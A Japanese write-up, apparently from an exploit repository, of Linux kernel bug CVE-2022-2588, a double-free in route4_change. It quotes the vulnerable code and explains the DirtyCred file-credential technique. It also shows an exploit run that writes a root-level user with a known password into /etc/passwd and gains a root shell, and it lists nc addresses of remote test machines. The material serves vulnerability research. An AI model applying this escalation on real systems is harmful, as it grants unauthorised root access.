このバグは、このコミットによって Linux v5.19 で修正されました。
このバグは、2014年に遡るこのコミットによって Linux v3.17 で導入されました。トリガーには User Namespaces が必要です。このバグは、route4_filter の連結リストに対する不適切な操作によって引き起こされた CVE-2021-3715 と非常によく似ています。CVE-2021-3715 の詳細は blackhat の講演 (16ページ) にあります。以下は CVE-2022-2588 の簡単な詳細です。
CVE-2022-2588 を理解するために、関数 route4_change の重要なコード断片を以下に示します。
static int route4_change(...)
{
...
f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL); [0]
...
// if there exists a filter with the same handler, copy some information
if (fold) { [1]
f->id = fold->id;
f->iif = fold->iif;
f->res = fold->res;
f->handle = fold->handle;
f->tp = fold->tp;
f->bkt = fold->bkt;
new = false;
}
// initialize the new filter
err = route4_set_parms(net, tp, base, f, handle, head, tb, [2]
tca[TCA_RATE], new, flags, extack);
if (err < 0)
goto errout;
// insert the new filter to the list
h = from_hash(f->handle >> 16); [3]
fp = &f->bkt->ht[h];
for (pfp = rtnl_dereference(*fp);
(f1 = rtnl_dereference(*fp)) != NULL;
fp = &f1->next)
if (f->handle < f1->handle)
break;
tcf_block_netif_keep_dst(tp->chain->block);
rcu_assign_pointer(f->next, f1);
rcu_assign_pointer(*fp, f);
// remove fold filter from the list if fold exists
if (fold && fold->handle && f->handle != fold->handle) { [4]
th = to_hash(fold->handle);
h = from_hash(fold->handle >> 16);
b = rtnl_dereference(head->table[th]);
if (b) {
fp = &b->ht[h];
for (pfp = rtnl_dereference(*fp); pfp;
fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
if (pfp == fold) {
rcu_assign_pointer(*fp, fold->next); [5]// remove the old from the linked list
break;
}
}
}
}
...
// free the fold filter if it exists [6]
if (fold) {
tcf_unbind_filter(tp, &fold->res);
tcf_exts_get_net(&fold->exts);
tcf_queue_work(&fold->rwork, route4_delete_filter_work);
}
この関数は route4_filter オブジェクトを初期化/置換するために実装されています。フィルタは各フィルタを区別するための一意のIDとして handle を使用します。以前に初期化されたハンドルが存在する場合 (すなわち fold 変数がnullではない場合)、古いフィルタを削除して新しいフィルタを追加することでフィルタを更新します。そうでない場合は、新しいフィルタを追加するだけです。
[0] では、カーネルは route4_filter オブジェクトを割り当てます。[1] では、fold が空でない場合、同じハンドルを持つフィルタが存在することを意味し、新しいフィルタにいくつかの情報をコピーし、[2] で新しいフィルタを初期化し、[3] で新しいフィルタをリストに挿入します。古いフィルタが存在する場合は、[4] でリストから削除され、[6] で解放されます。
バグは [4] にあります。ここでは、削除対象の古いフィルタが存在するかどうかをチェックします。この条件は、ハンドルがゼロではなく、新しいフィルタのハンドルと一致することを保証します。この条件は、古いフィルタが存在するかどうかのみをチェックする [6] でのフィルタ解放条件とは一致しません。したがって、ユーザーがハンドルが0のフィルタを作成し、その置換をトリガーした場合、条件が同じではないため、フィルタは [4] でリンク解除されず、[6] で解放されます。
このバグは CVE-2021-3715 と似ているため、それらのプリミティブはほぼ同じです。プリミティブの詳細については、blackhat の講演を参照してください。この解説では、DirtyCred のアイデアを用いたエクスプロイトを示します。
バグをトリガーした後、解放された fold はまだ連結リスト上にあるため、fold をもう一度解放できます。これにより、CONFIG_NET_CLS_ACT が有効な場合、最終的に route4_filer オブジェクトと route4_filter->exts.action オブジェクトの二重解放が発生します。
エクスプロイトコードは、これら2つの二重解放機能を利用して、タスク資格情報 (kmalloc-192 の二重解放を利用、今後公開予定) とオープンファイル資格情報 (kmalloc-256 の二重解放を利用) への攻撃を示します。
DirtyCred の考え方に従い、エクスプロイトコードは権限チェック後にファイル資格情報を交換するため、読み取り権限のあるファイルに任意のコンテンツを書き込むことができます。理想的には、このコードはこのバグの影響を受けるすべてのカーネルバージョンで動作します。なお、msg_msg が kmalloc-rcl-* に隔離されている古いカーネルでも確実に動作するように、このエクスプロイトは異なるスプレーオブジェクトを使用していることに注意してください。
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096 hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)
このエクスプロイトは、できるだけ多くのディストリビューションで動作するように作成されました。以下の環境で動作することが確認されています。
(他のカーネルでも動作することがわかった場合は、お気軽にPRを送信してこのリストを更新してください。)
ユーザー low、パスワード low でログインしてください
Ubuntu 20
nc 150.136.171.117 1337
Centos 8
nc 150.136.171.117 1338